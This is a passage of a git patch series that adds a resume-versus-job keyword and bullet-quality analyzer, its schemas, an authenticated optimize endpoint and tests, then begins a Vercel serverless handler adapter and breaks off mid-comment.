WEAK_OPENING = + /^(?:i|responsible for|duties (?:included|include)|worked on|worked with|helped|helping|assisted|assisting|tasked with|involved in|in charge of|participated in)\b/i; + +const EXAMPLE_VERBS = 'Built, Led, Reduced, Launched'; + +function normalizeTerm(term: string): string { + return term.trim().toLowerCase(); +} + +/** What the posting asks for: its explicit skill list plus vocabulary terms in the title/description. */ +function collectJobKeywords(target: OptimizationTarget): string[] { + const keywords = new Set(); + for (const skill of target.skills) { + const term = normalizeTerm(skill); + if (term.length > 0) keywords.add(term); + } + for (const keyword of extractSkillKeywords(`${target.title}\n${target.description ?? ''}`)) { + keywords.add(keyword); + } + return [...keywords]; +} + +function analyzeBullet(bullet: string): { issues: BulletIssue[]; suggestions: string[] } { + const issues: BulletIssue[] = []; + const suggestions: string[] = []; + + const weakOpening = bullet.match(WEAK_OPENING); + if (weakOpening) { + issues.push('weak_opening'); + suggestions.push( + `Open with a strong action verb (for example: ${EXAMPLE_VERBS}) instead of "${weakOpening[0]}" — lead with what you did.`, + ); + } + if (!HAS_DIGIT_OR_PERCENT.test(bullet)) { + issues.push('no_metric'); + suggestions.push( + 'Add a measurable result (scale, percentage, time or cost saved) if you can back it up — without inventing one.', + ); + } + if (bullet.length < MIN_BULLET_CHARS) { + issues.push('too_short'); + suggestions.push('Say what you did and what came of it — a bullet this brief gives recruiters and ATS little to match.'); + } else if (bullet.length > MAX_BULLET_CHARS) { + issues.push('too_long'); + suggestions.push('Trim this or split it into two bullets — long bullets are hard to scan.'); + } + + return { issues, suggestions }; +} + +function collectBulletFindings(profile: ParsedProfile): BulletFinding[] { + const findings: BulletFinding[] = []; + for (const entry of profile.experience) { + entry.highlights.forEach((bullet, bulletIndex) => { + const { issues, suggestions } = analyzeBullet(bullet); + if (issues.length > 0) { + findings.push({ company: entry.company, title: entry.title, bullet_index: bulletIndex, bullet, issues, suggestions }); + } + }); + } + // Worst bullets first; Array#sort is stable, so ties keep resume order. + return findings.sort((a, b) => b.issues.length - a.issues.length); +} + +function buildRecommendations( + missing: string[], + atsHints: string[], + allFindings: BulletFinding[], + keywordScore: number | null, +): string[] { + const recommendations: string[] = []; + + if (missing.length > 0) { + const shown = missing.slice(0, MAX_KEYWORDS_IN_RECOMMENDATION).join(', '); + recommendations.push( + `This posting mentions ${shown}, which your resume doesn't. If you genuinely have that experience, work it into a relevant bullet or your skills section.`, + ); + } + + const missingMetric = allFindings.filter((f) => f.issues.includes('no_metric')).length; + if (missingMetric > 0) { + recommendations.push(`${missingMetric} bullet(s) have no measurable result — quantify the ones you can substantiate.`); + } + const weakOpenings = allFindings.filter((f) => f.issues.includes('weak_opening')).length; + if (weakOpenings > 0) { + recommendations.push(`${weakOpenings} bullet(s) open with a duty ("responsible for…") rather than an action verb.`); + } + + recommendations.push(...atsHints); + + if (recommendations.length === 0) { + recommendations.push( + keywordScore === null + ? 'This posting lists no recognizable keywords, so there is nothing to tailor against — your resume reads cleanly.' + : 'Your resume already covers what this posting asks for and reads cleanly.', + ); + } + return recommendations.slice(0, MAX_RECOMMENDATIONS); +} + +/** + * Deterministic, job-aware advice for one parsed resume — the same "good + * enough to make the pipeline real" bar as the parser, ATS scorer, and match + * scorer (no model API key is configured anywhere in this repo). It reports + * keyword coverage against the posting and flags weak bullets. It deliberately + * never produces rewritten resume text: that would mean asserting claims the + * candidate didn't make. + */ +export function analyzeResumeForJob( + profile: ParsedProfile, + rawText: string, + target: OptimizationTarget, +): ResumeOptimizationReport { + const profileTerms = new Set([ + ...profile.skills.map((skill) => normalizeTerm(skill.name)), + ...profile.keywords.map(normalizeTerm), + ]); + + const jobKeywords = collectJobKeywords(target); + const matched: string[] = []; + const missing: string[] = []; + for (const keyword of jobKeywords) { + (profileTerms.has(keyword) || containsKeyword(rawText, keyword) ? matched : missing).push(keyword); + } + const keywordScore = jobKeywords.length === 0 ? null : Math.round((100 * matched.length) / jobKeywords.length); + + const ats = scoreResume(profile, rawText); + const failedHints = ats.checks + .filter((check) => !check.passed) + .sort((a, b) => b.weight - a.weight) + .slice(0, MAX_ATS_HINTS) + .map((check) => check.hint); + + // Recommendations count every flagged bullet; the report only lists the worst. + const allFindings = collectBulletFindings(profile); + + return { + keyword_match: { score: keywordScore, matched, missing }, + bullet_findings: allFindings.slice(0, MAX_BULLET_FINDINGS), + ats, + recommendations: buildRecommendations(missing, failedHints, allFindings, keywordScore), + truthfulness_note: TRUTHFULNESS_NOTE, + }; +} diff --git a/packages/ai/src/skills.ts b/packages/ai/src/skills.ts index 3dc2ec0..012ea00 100644 --- a/packages/ai/src/skills.ts +++ b/packages/ai/src/skills.ts @@ -15,15 +15,17 @@ export const CANONICAL_SKILLS = [ 'sales', 'marketing', 'seo', 'content strategy', 'copywriting', 'accounting', 'bookkeeping', ]; +/** True when `keyword` appears in `text` as a whole term (case-insensitive). */ +export function containsKeyword(text: string, keyword: string): boolean { + const escaped = keyword.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'); + // `\b` requires a word/non-word transition, which never fires right after + // a symbol like the trailing `+` in "c++" followed by a comma or space — + // both sides are non-word characters. Anchoring on alphanumeric adjacency + // instead handles keywords that end (or start) in punctuation correctly. + return new RegExp(`(? { - const escaped = keyword.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'); - // `\b` requires a word/non-word transition, which never fires right after - // a symbol like the trailing `+` in "c++" followed by a comma or space — - // both sides are non-word characters. Anchoring on alphanumeric adjacency - // instead handles keywords that end (or start) in punctuation correctly. - return new RegExp(`(? containsKeyword(text, keyword)); } diff --git a/packages/ai/test/resume-optimizer.test.ts b/packages/ai/test/resume-optimizer.test.ts new file mode 100644 index 0000000..6001032 --- /dev/null +++ b/packages/ai/test/resume-optimizer.test.ts @@ -0,0 +1,148 @@ +import { describe, expect, it } from 'vitest'; +import { analyzeResumeForJob, TRUTHFULNESS_NOTE, type OptimizationTarget } from '../src/resume-optimizer.js'; +import { parseResumeText } from '../src/resume-parser.js'; + +const RESUME = `Ada Lovelace +ada@example.com + +Summary +Backend engineer with a focus on distributed systems. + +Experience +Staff Engineer, Analytical Engines Inc +Jan 2021 - Present +- Cut P99 latency by 40% via a queue-based rewrite +- Responsible for the on-call rotation +- Worked on internal tooling + +Skills +TypeScript, PostgreSQL, Docker +`; + +function target(overrides: Partial = {}): OptimizationTarget { + return { title: 'Backend Engineer', description: null, skills: [], ...overrides }; +} + +describe('analyzeResumeForJob', () => { + const profile = parseResumeText(RESUME); + + it('splits the posting keywords into matched and missing, case-insensitively', () => { + const report = analyzeResumeForJob(profile, RESUME, target({ skills: ['TypeScript', 'Kubernetes', 'docker'] })); + expect(report.keyword_match.matched).toEqual(['typescript', 'docker']); + expect(report.keyword_match.missing).toEqual(['kubernetes']); + expect(report.keyword_match.score).toBe(67); + }); + + it('also picks up vocabulary terms mentioned only in the title or description', () => { + const report = analyzeResumeForJob( + profile, + RESUME, + target({ title: 'Platform Engineer', description: 'You will run Kubernetes on AWS and write TypeScript.' }), + ); + expect(report.keyword_match.matched).toContain('typescript'); + expect(report.keyword_match.missing).toEqual(expect.arrayContaining(['kubernetes', 'aws'])); + }); + + it('finds a job skill outside the shared vocabulary when the resume text states it', () => { + const text = `${RESUME}\nAlso used Snowflake daily.`; + const report = analyzeResumeForJob(parseResumeText(text), text, target({ skills: ['snowflake', 'dbt'] })); + expect(report.keyword_match.matched).toEqual(['snowflake']); + expect(report.keyword_match.missing).toEqual(['dbt']); + }); + + it('does not count a keyword that only appears inside a longer word', () => { + const text = `${RESUME}\nLoves javascripting and the Javanese language.`; + const report = analyzeResumeForJob(parseResumeText(text), text, target({ skills: ['java'] })); + expect(report.keyword_match.missing).toEqual(['java']); + }); + + it('reports a null score, not 0 or 100, when the posting names no keywords', () => { + const report = analyzeResumeForJob(profile, RESUME, target({ title: 'Wizard', description: 'Cast spells.' })); + expect(report.keyword_match.score).toBeNull(); + expect(report.keyword_match.matched).toEqual([]); + expect(report.keyword_match.missing).toEqual([]); + }); + + it('flags duty-style openers and bullets with no measurable result', () => { + const report = analyzeResumeForJob(profile, RESUME, target()); + const byBullet = new Map(report.bullet_findings.map((f) => [f.bullet, f])); + + expect(byBullet.get('Responsible for the on-call rotation')?.issues).toEqual( + expect.arrayContaining(['weak_opening', 'no_metric']), + ); + expect(byBullet.get('Worked on internal tooling')?.issues).toContain('weak_opening'); + // The quantified, action-led bullet needs no work. + expect(byBullet.has('Cut P99 latency by 40% via a queue-based rewrite')).toBe(false); + }); + + it('flags bullets that are too short or too long', () => { + const longBullet = `Built ${'a very detailed internal reporting pipeline '.repeat(8)}for 12 teams`; + const text = `Experience\nEngineer, Acme\nJan 2022 - Present\n- Did stuff\n- ${longBullet}\n`; + const report = analyzeResumeForJob(parseResumeText(text), text, target()); + const issues = report.bullet_findings.flatMap((f) => f.issues); + expect(issues).toContain('too_short'); + expect(issues).toContain('too_long'); + }); + + it('lists the most-flawed bullets first and caps the list while still counting them all', () => { + const bullets = Array.from({ length: 30 }, (_, i) => `- Helped with project number ${i} somehow today`).join('\n'); + const text = `Experience\nEngineer, Acme\nJan 2022 - Present\n${bullets}\n- Helped\n`; + const parsed = parseResumeText(text); + const report = analyzeResumeForJob(parsed, text, target()); + + expect(report.bullet_findings).toHaveLength(20); + // "Helped" is weak-opening + no_metric + too_short: three issues, so it leads. + expect(report.bullet_findings[0]?.bullet).toBe('Helped'); + expect(report.bullet_findings[0]?.issues).toHaveLength(3); + // The recommendation reflects all flagged bullets, not just the 20 shown. + expect(report.recommendations.join(' ')).toMatch(/31 bullet\(s\) open with a duty/); + }); + + it('never presents a missing keyword as something the resume already has', () => { + const report = analyzeResumeForJob(profile, RESUME, target({ skills: ['kubernetes', 'terraform'] })); + const advice = report.recommendations.join(' '); + + expect(advice).toContain('kubernetes'); + expect(advice).toMatch(/if you genuinely have that experience/i); + expect(report.keyword_match.matched).not.toContain('kubernetes'); + // No bullet suggestion injects a keyword the resume lacks. + const suggestionText = report.bullet_findings.flatMap((f) => f.suggestions).join(' ').toLowerCase(); + expect(suggestionText).not.toContain('kubernetes'); + expect(suggestionText).not.toContain('terraform'); + expect(report.truthfulness_note).toBe(TRUTHFULNESS_NOTE); + }); + + it('includes the resume-level ATS report and surfaces its failed checks as advice', () => { + const bare = 'hi'; + const report = analyzeResumeForJob(parseResumeText(bare), bare, target({ skills: ['python'] })); + expect(report.ats.score).toBeLessThan(50); + expect(report.recommendations.length).toBeGreaterThan(0); + // Highest-weight failed checks come first; has_skills (0.2) outranks has_phone (0.1). + expect(report.recommendations.join(' ')).toMatch(/skills/i); + }); + + it('says so, rather than returning nothing, when there is nothing to improve', () => { + const strong = `Ada Lovelace +ada@example.com ++1 555 010 1234 + +Summary +Backend engineer focused on distributed systems and reliability. + +Experience +Staff Engineer, Analytical Engines Inc +Jan 2021 - Present +- Cut P99 latency by 40% by rewriting the ingestion path as a queue-based pipeline +- Led a team of 6 engineers through a migration serving 2 million requests per day + +Skills +TypeScript, PostgreSQL, Docker +${'Additional detail about shipped systems and outcomes. '.repeat(12)} +`; + const report = analyzeResumeForJob(parseResumeText(strong), strong, target({ skills: ['typescript'] })); + expect(report.keyword_match.score).toBe(100); + expect(report.bullet_findings).toEqual([]); + expect(report.recommendations).toHaveLength(1); + expect(report.recommendations[0]).toMatch(/already covers/i); + }); +}); diff --git a/packages/types/src/api.ts b/packages/types/src/api.ts index 08a3c22..c268d3c 100644 --- a/packages/types/src/api.ts +++ b/packages/types/src/api.ts @@ -4,7 +4,7 @@ import { applicationModeSchema, applicationStatusSchema, remoteTypeSchema } from import { publicUserSchema } from './identity.js'; import { companySchema, jobRecommendationSchema, rawJobPostingSchema } from './job.js'; import { applicationSchema, contactSchema, messageSchema } from './application.js'; -import { resumeSchema } from './profile.js'; +import { resumeOptimizationReportSchema, resumeSchema } from './profile.js'; /** * Request/response contracts for the public REST surface (docs/04). Services @@ -88,6 +88,20 @@ export const resumeResponseSchema = z.object({ export type ResumeResponse = z.infer; +export const optimizeResumeRequestSchema = z.object({ + job_id: uuidSchema, +}); + +export type OptimizeResumeRequest = z.infer; + +export const optimizeResumeResponseSchema = z.object({ + resume_id: uuidSchema, + job_id: uuidSchema, + report: resumeOptimizationReportSchema, +}); + +export type OptimizeResumeResponse = z.infer; + // --- jobs-service ----------------------------------------------------------- export const jobRecommendationsQuerySchema = paginationQuerySchema.extend({ diff --git a/packages/types/src/profile.ts b/packages/types/src/profile.ts index f28ce63..91f27cd 100644 --- a/packages/types/src/profile.ts +++ b/packages/types/src/profile.ts @@ -115,3 +115,41 @@ export const atsReportSchema = z.object({ }); export type AtsReport = z.infer; + +/** Why one resume bullet was flagged by the optimizer. */ +export const bulletIssueSchema = z.enum(['weak_opening', 'no_metric', 'too_short', 'too_long']); + +export type BulletIssue = z.infer; + +export const bulletFindingSchema = z.object({ + company: z.string(), + title: z.string(), + /** Position within that experience entry's `highlights`. */ + bullet_index: z.number().int().min(0), + bullet: z.string(), + issues: z.array(bulletIssueSchema).min(1), + suggestions: z.array(z.string()).min(1), +}); + +export type BulletFinding = z.infer; + +/** + * Advice for tailoring one parsed resume to one job. Advisory only: nothing + * here rewrites the resume or asserts a skill/metric the candidate didn't + * already state (the resume-optimization agent's truthfulness rule). + */ +export const resumeOptimizationReportSchema = z.object({ + keyword_match: z.object({ + /** 0–100 share of the job's keywords the resume covers; null when the job names none. */ + score: z.number().int().min(0).max(100).nullable(), + matched: z.array(z.string()), + missing: z.array(z.string()), + }), + bullet_findings: z.array(bulletFindingSchema).max(20), + /** The resume's job-independent ATS report, as computed at parse time. */ + ats: atsReportSchema, + recommendations: z.array(z.string()).max(10), + truthfulness_note: z.string(), +}); + +export type ResumeOptimizationReport = z.infer; diff --git a/services/profile/src/app.ts b/services/profile/src/app.ts index 6c6490f..28e1435 100644 --- a/services/profile/src/app.ts +++ b/services/profile/src/app.ts @@ -16,6 +16,7 @@ import type { ProfileServiceEnv } from './env.js'; import { getResumeRoute } from './http/routes/get-resume.js'; import { healthRoute } from './http/routes/health.js'; import { listResumesRoute } from './http/routes/list-resumes.js'; +import { optimizeResumeRoute } from './http/routes/optimize-resume.js'; import { uploadResumeRoute } from './http/routes/upload-resume.js'; export interface AppDeps { @@ -104,6 +105,7 @@ export function buildApp(deps: AppDeps): FastifyInstance { uploadResumeRoute(app, deps); getResumeRoute(app, deps); listResumesRoute(app, deps); + optimizeResumeRoute(app, deps); return app; } diff --git a/services/profile/src/http/routes/optimize-resume.ts b/services/profile/src/http/routes/optimize-resume.ts new file mode 100644 index 0000000..e419ddb --- /dev/null +++ b/services/profile/src/http/routes/optimize-resume.ts @@ -0,0 +1,45 @@ +import type { FastifyInstance } from 'fastify'; +import { z } from 'zod'; +import { analyzeResumeForJob } from '@atlas/ai'; +import { getActor, requireAuth } from '@atlas/auth-kit'; +import { optimizeResumeRequestSchema, uuidSchema, type OptimizeResumeResponse } from '@atlas/types'; +import { AppError } from '@atlas/utils'; +import type { AppDeps } from '../../app.js'; +import { findOptimizationTarget } from '../../repo/jobs.js'; +import { findById } from '../../repo/resumes.js'; + +const paramsSchema = z.object({ id: uuidSchema }); + +/** + * Stateless: computes advice on every call and stores nothing, so there is no + * migration and no stale-report problem. Persisting tailored variants waits + * on a rewriting step that doesn't exist yet (see analyzeResumeForJob). + */ +export function optimizeResumeRoute(app: FastifyInstance, deps: AppDeps): void { + app.post('/v1/resumes/:id/optimize', { preHandler: requireAuth(deps.tokenVerifier) }, async (request, reply) => { + const actor = getActor(request); + const { id } = paramsSchema.parse(request.params); + const body = optimizeResumeRequestSchema.parse(request.body); + + const resume = await findById(deps.db, id); + // Same rule as GET /v1/resumes/:id: never confirm another user's resume exists. + if (!resume || resume.userId !== actor.user_id) { + throw new AppError('RESUME_NOT_FOUND', 'Resume not found'); + } + if (resume.status !== 'parsed' || !resume.parsedProfile || resume.parsedText === null) { + throw new AppError('CONFLICT', 'Resume has not been parsed successfully, so it cannot be optimized yet'); + } + + const target = await findOptimizationTarget(deps.db, body.job_id); + if (!target) { + throw new AppError('JOB_NOT_FOUND', 'Job is unavailable'); + } + + const response: OptimizeResumeResponse = { + resume_id: resume.resumeId, + job_id: body.job_id, + report: analyzeResumeForJob(resume.parsedProfile, resume.parsedText, target), + }; + reply.status(200).send(response); + }); +} diff --git a/services/profile/src/repo/jobs.ts b/services/profile/src/repo/jobs.ts new file mode 100644 index 0000000..ee16c30 --- /dev/null +++ b/services/profile/src/repo/jobs.ts @@ -0,0 +1,22 @@ +import { eq } from 'drizzle-orm'; +import { schema, type Database } from '@atlas/db'; +import type { OptimizationTarget } from '@atlas/ai'; + +/** + * Resume optimization compares a resume against a job posting, so + * profile-service reads the jobs table directly through the one shared + * Postgres instance every service already connects to — the same read-only + * cross-service lookup applications-service and matching-service already use + * (services/applications/src/repo/lookups.ts). It never writes to `jobs`. + * + * Deliberately not filtered on `is_active`: tailoring a resume to a posting + * that has since expired is still valid advice. + */ +export async function findOptimizationTarget(db: Database, jobId: string): Promise { + const [row] = await db + .select({ title: schema.jobs.title, description: schema.jobs.description, skills: schema.jobs.skills }) + .from(schema.jobs) + .where(eq(schema.jobs.jobId, jobId)) + .limit(1); + return row ?? null; +} diff --git a/services/profile/test/optimize-flow.test.ts b/services/profile/test/optimize-flow.test.ts new file mode 100644 index 0000000..de738df --- /dev/null +++ b/services/profile/test/optimize-flow.test.ts @@ -0,0 +1,260 @@ +import { randomUUID } from 'node:crypto'; +import { mkdtemp, rm } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import { join } from 'node:path'; +import { eq } from 'drizzle-orm'; +import { exportJWK, generateKeyPair, SignJWT } from 'jose'; +import type { FastifyInstance } from 'fastify'; +import { afterAll, beforeAll, describe, expect, it, vi } from 'vitest'; +import { createTokenVerifierConfig } from '@atlas/auth-kit'; +import { createBroker } from '@atlas/messaging'; +import { createStorage } from '@atlas/storage'; +import { createDatabase, schema, type DatabaseHandle } from '@atlas/db'; +import { optimizeResumeResponseSchema } from '@atlas/types'; +import { createSilentLogger } from '@atlas/utils'; +import { buildApp } from '../src/app.js'; +import { loadProfileServiceEnv } from '../src/env.js'; + +// DB-backed tests self-skip when ATLAS_TEST_DATABASE_URL is unset (see .env.example). +const testDatabaseUrl = process.env.ATLAS_TEST_DATABASE_URL; +const SUPABASE_URL = 'https://test-project.supabase.co'; + +let signTestToken: (claims: { sub: string; sid: string; org: string | null; role: string | null; email: string }) => Promise; + +// createRemoteJWKSet fetches over HTTP — stub it to serve a locally +// generated key instead of hitting a real Supabase project. +async function stubJwks(): Promise { + const { publicKey, privateKey } = await generateKeyPair('ES256'); + const jwk = await exportJWK(publicKey); + jwk.kid = 'test-key'; + jwk.alg = 'ES256'; + jwk.use = 'sig'; + vi.stubGlobal( + 'fetch', + async () => new Response(JSON.stringify({ keys: [jwk] }), { status: 200, headers: { 'content-type': 'application/json' } }), + ); + + signTestToken = async (claims) => + new SignJWT({ session_id: claims.sid, email: claims.email, app_metadata: { org_id: claims.org, role: claims.role } }) + .setProtectedHeader({ alg: 'ES256', kid: 'test-key' }) + .setSubject(claims.sub) + .setIssuer(`${SUPABASE_URL}/auth/v1`) + .setAudience('authenticated') + .setIssuedAt() + .setExpirationTime(Math.floor(Date.now() / 1000) + 900) + .sign(privateKey); +} + +function buildMultipartBody(boundary: string, file: { filename: string; contentType: string; data: Buffer }): Buffer { + const CRLF = '\r\n'; + return Buffer.concat([ + Buffer.from( + `--${boundary}${CRLF}Content-Disposition: form-data; name="file"; filename="${file.filename}"${CRLF}` + + `Content-Type: ${file.contentType}${CRLF}${CRLF}`, + 'utf8', + ), + file.data, + Buffer.from(`${CRLF}--${boundary}--${CRLF}`, 'utf8'), + ]); +} + +const RESUME_TEXT = [ + 'Ada Lovelace', + 'ada@example.com', + '', + 'Summary', + 'Backend engineer with a focus on distributed systems.', + '', + 'Experience', + 'Staff Engineer, Analytical Engines Inc', + 'Jan 2021 - Present', + '- Cut P99 latency by 40% via a queue-based rewrite', + '- Responsible for the on-call rotation', + '', + 'Skills', + 'TypeScript, PostgreSQL, Docker', +].join('\n'); + +describe.skipIf(!testDatabaseUrl)('profile-service resume optimization', () => { + let app: FastifyInstance; + let dbHandle: DatabaseHandle; + let storageRoot: string; + let token: string; + let otherToken: string; + const userId = randomUUID(); + const otherUserId = randomUUID(); + const email = `optimize-flow-${userId}@example.com`; + const otherEmail = `optimize-flow-${otherUserId}@example.com`; + const companyName = `Optimize Test Co ${randomUUID().slice(0, 8)}`; + let companyId: string; + let jobId: string; + let resumeId: string; + + async function upload(authToken: string, text: string): Promise { + const boundary = `boundary-${randomUUID()}`; + const res = await app.inject({ + method: 'POST', + url: '/v1/resumes', + headers: { authorization: `Bearer ${authToken}`, 'content-type': `multipart/form-data; boundary=${boundary}` }, + payload: buildMultipartBody(boundary, { filename: 'resume.txt', contentType: 'text/plain', data: Buffer.from(text, 'utf8') }), + }); + expect(res.statusCode).toBe(201); + return res.json().resume_id as string; + } + + function optimize(authToken: string | null, id: string, body: unknown) { + return app.inject({ + method: 'POST', + url: `/v1/resumes/${id}/optimize`, + headers: authToken ? { authorization: `Bearer ${authToken}` } : {}, + payload: body as object, + }); + } + + beforeAll(async () => { + await stubJwks(); + const env = loadProfileServiceEnv({ DATABASE_URL: testDatabaseUrl, PORT: '4002', SUPABASE_URL }); + dbHandle = createDatabase({ url: env.DATABASE_URL }); + + // public.users.user_id FKs to auth.users.id (see packages/db/supabase/auth-hooks.sql); + // inserting into auth.users fires handle_new_user, which creates the matching + // public.users row itself — no separate insert needed. + for (const u of [ + { id: userId, email, fullName: 'Optimize Flow Test User' }, + { id: otherUserId, email: otherEmail, fullName: 'Someone Else' }, + ]) { + await dbHandle.sql` + insert into auth.users (id, instance_id, aud, role, email, email_confirmed_at, raw_app_meta_data, raw_user_meta_data, created_at, updated_at) + values (${u.id}, '00000000-0000-0000-0000-000000000000', 'authenticated', 'authenticated', ${u.email}, now(), '{"provider":"email"}'::jsonb, ${JSON.stringify({ full_name: u.fullName })}::jsonb, now(), now()) + `; + } + + storageRoot = await mkdtemp(join(tmpdir(), 'atlas-optimize-test-')); + app = buildApp({ + db: dbHandle.db, + sql: dbHandle.sql, + env, + logger: createSilentLogger(), + broker: createBroker({ driver: 'memory', logger: createSilentLogger() }), + storage: createStorage({ driver: 'local', localRoot: storageRoot }), + tokenVerifier: createTokenVerifierConfig(env), + }); + await app.ready(); + + token = await signTestToken({ sub: userId, sid: randomUUID(), org: null, role: null, email }); + otherToken = await signTestToken({ sub: otherUserId, sid: randomUUID(), org: null, role: null, email: otherEmail }); + + const [company] = await dbHandle.db + .insert(schema.companies) + .values({ name: companyName, normalizedName: companyName.toLowerCase() }) + .returning(); + companyId = company!.companyId; + const [job] = await dbHandle.db + .insert(schema.jobs) + .values({ + companyId, + title: 'Platform Engineer', + description: 'Run Kubernetes clusters and ship TypeScript services.', + source: 'manual', + jobHash: randomUUID().replace(/-/g, '').padEnd(64, '0'), + skills: ['typescript', 'kubernetes'], + isActive: true, + }) + .returning(); + jobId = job!.jobId; + + resumeId = await upload(token, RESUME_TEXT); + }); + + afterAll(async () => { + await dbHandle.db.delete(schema.resumes).where(eq(schema.resumes.userId, userId)); + await dbHandle.db.delete(schema.resumes).where(eq(schema.resumes.userId, otherUserId)); + await dbHandle.db.delete(schema.jobs).where(eq(schema.jobs.companyId, companyId)); + await dbHandle.db.delete(schema.companies).where(eq(schema.companies.companyId, companyId)); + // Cascades to public.users via the auth.users FK. + await dbHandle.sql`delete from auth.users where id in (${userId}, ${otherUserId})`; + await app.close(); + await dbHandle.close(); + await rm(storageRoot, { recursive: true, force: true }); + }); + + it('requires authentication', async () => { + const res = await optimize(null, resumeId, { job_id: jobId }); + expect(res.statusCode).toBe(401); + }); + + it('returns a keyword and bullet report for a parsed resume against a job', async () => { + const res = await optimize(token, resumeId, { job_id: jobId }); + expect(res.statusCode).toBe(200); + + // The response must satisfy the shared contract, not just "look right". + const body = optimizeResumeResponseSchema.parse(res.json()); + expect(body.resume_id).toBe(resumeId); + expect(body.job_id).toBe(jobId); + expect(body.report.keyword_match.matched).toContain('typescript'); + expect(body.report.keyword_match.missing).toEqual(['kubernetes']); + expect(body.report.keyword_match.score).toBe(50); + expect( + body.report.bullet_findings.some((f) => f.bullet === 'Responsible for the on-call rotation' && f.issues.includes('weak_opening')), + ).toBe(true); + expect(body.report.recommendations.join(' ')).toMatch(/kubernetes/i); + }); + + it('is read-only: the resume row is unchanged after optimizing', async () => { + const before = await dbHandle.db.select().from(schema.resumes).where(eq(schema.resumes.resumeId, resumeId)); + await optimize(token, resumeId, { job_id: jobId }); + const after = await dbHandle.db.select().from(schema.resumes).where(eq(schema.resumes.resumeId, resumeId)); + expect(after).toEqual(before); + }); + + it('rejects a malformed body or resume id with 400, not a 500', async () => { + const badBody = await optimize(token, resumeId, { job_id: 'not-a-uuid' }); + expect(badBody.statusCode).toBe(400); + expect(badBody.json().error.code).toBe('VALIDATION_ERROR'); + + const missingBody = await optimize(token, resumeId, {}); + expect(missingBody.statusCode).toBe(400); + + const badId = await optimize(token, 'not-a-uuid', { job_id: jobId }); + expect(badId.statusCode).toBe(400); + expect(badId.json().error.code).toBe('VALIDATION_ERROR'); + }); + + it('404s for an unknown job', async () => { + const res = await optimize(token, resumeId, { job_id: randomUUID() }); + expect(res.statusCode).toBe(404); + expect(res.json().error.code).toBe('JOB_NOT_FOUND'); + }); + + it("404s for another user's resume without confirming it exists", async () => { + const otherResumeId = await upload(otherToken, 'Someone Else\nsomeone@example.com\n\nSkills\nPython'); + + const res = await optimize(token, otherResumeId, { job_id: jobId }); + expect(res.statusCode).toBe(404); + expect(res.json().error.code).toBe('RESUME_NOT_FOUND'); + + const unknown = await optimize(token, randomUUID(), { job_id: jobId }); + expect(unknown.statusCode).toBe(404); + expect(unknown.json()).toEqual({ error: { ...unknown.json().error, request_id: expect.any(String) } }); + expect(unknown.json().error.code).toBe(res.json().error.code); + }); + + it('409s for a resume that has not been parsed', async () => { + const [pending] = await dbHandle.db + .insert(schema.resumes) + .values({ + userId, + storageUrl: 'pending/key', + originalFilename: 'pending.txt', + contentType: 'text/plain', + byteSize: 10, + contentHash: randomUUID().replace(/-/g, '').padEnd(64, '0'), + status: 'pending', + }) + .returning(); + + const res = await optimize(token, pending!.resumeId, { job_id: jobId }); + expect(res.statusCode).toBe(409); + expect(res.json().error.code).toBe('CONFLICT'); + }); +}); From 65bd7cfc44eb300327cf7d3528a0f1e0161d875e Mon Sep 17 00:00:00 2001 From: Claude Date: Tue, 27 Oct 2026 12:00:01 +0000 Subject: [PATCH 02/91] feat(utils): add Vercel handler adapter and serverless env defaults createVercelHandler(app) is the dispatch logic services/auth/src/index.ts inlines today: await Fastify's ready(), then emit the Node request/response pair onto app.server. It takes a structural type so @atlas/utils does not gain a fastify dependency, starts plugin boot eagerly so it overlaps cold-start init, and guards that eager promise so a boot failure surfaces on each invocation rather than as an unhandled rejection at cold start. withServerlessEnvDefaults() feeds the services' env loaders a placeholder PORT when VERCEL is set. packages/config's httpEnvSchema requires PORT with no default, but a function never binds a port, so without it every module throws a ConfigError at load. Outside Vercel the source is returned untouched, so local dev and tests keep strict validation, and nothing but PORT is defaulted. Co-Authored-By: Claude Sonnet 5.5 Claude-Session: https://claude.ai/code/session_01BdqVHQRXj76uudaef6gTD1 --- packages/utils/src/index.ts | 1 + packages/utils/src/vercel.ts | 57 ++++++++++++++++ packages/utils/test/vercel.test.ts | 103 +++++++++++++++++++++++++++++ 3 files changed, 161 insertions(+) create mode 100644 packages/utils/src/vercel.ts create mode 100644 packages/utils/test/vercel.test.ts diff --git a/packages/utils/src/index.ts b/packages/utils/src/index.ts index 150848e..cd0b94a 100644 --- a/packages/utils/src/index.ts +++ b/packages/utils/src/index.ts @@ -4,3 +4,4 @@ export * from './logger.js'; export * from './redact.js'; export * from './retry.js'; export * from './trace.js'; +export * from './vercel.js'; diff --git a/packages/utils/src/vercel.ts b/packages/utils/src/vercel.ts new file mode 100644 index 0000000..c4a4199 --- /dev/null +++ b/packages/utils/src/vercel.ts @@ -0,0 +1,57 @@ +import type { IncomingMessage, ServerResponse } from 'node:http'; + +/** + * The slice of a Fastify instance the serverless dispatcher touches. Declared + * structurally so @atlas/utils does not have to depend on fastify just to + * type the entrypoint glue — a `FastifyInstance` satisfies it as-is. + */ +export interface ServerlessApp { + ready(): PromiseLike; + server: { emit(event: 'request', req: IncomingMessage, res: ServerResponse): boolean }; +} + +export type VercelHandler = (req: IncomingMessage, res: ServerResponse) => Promise; + +/** + * Adapts an un-listened Fastify app into a Vercel Node function handler. + * + * Vercel never calls `app.listen()` — it invokes the module's default export + * once per request with a Node request/response pair, so the app has to be + * dispatched onto that pair instead of a bound socket (see + * https://vercel.com/docs/frameworks/backend/fastify). Plugin boot starts + * eagerly so it overlaps cold-start init rather than delaying the first + * request; every request still awaits it, so a failed boot surfaces as a + * failed invocation instead of being dropped. + */ +export function createVercelHandler(app: ServerlessApp): VercelHandler { + const ready = Promise.resolve(app.ready()); + // Boot starts before any request has attached a handler to `ready`; without + // this a boot failure is an unhandled rejection that kills the container + // before the real error can be reported by the first invocation. + ready.catch(() => undefined); + + return async (req, res) => { + await ready; + app.server.emit('request', req, res); + }; +} + +/** + * Port handed to the service env loaders on Vercel. Every service's env + * schema requires `PORT` (packages/config's `httpEnvSchema` has no default), + * but a function never binds one, so this only has to satisfy validation. + */ +export const SERVERLESS_PLACEHOLDER_PORT = '3000'; + +/** + * Env source for a service's `loadServiceEnv()`. Outside Vercel it is + * `source` untouched, so local dev and tests keep strict validation; on Vercel + * it supplies `PORT` when none is configured. Everything else (DATABASE_URL, + * SUPABASE_URL, ...) is genuine configuration and still fails fast if absent. + 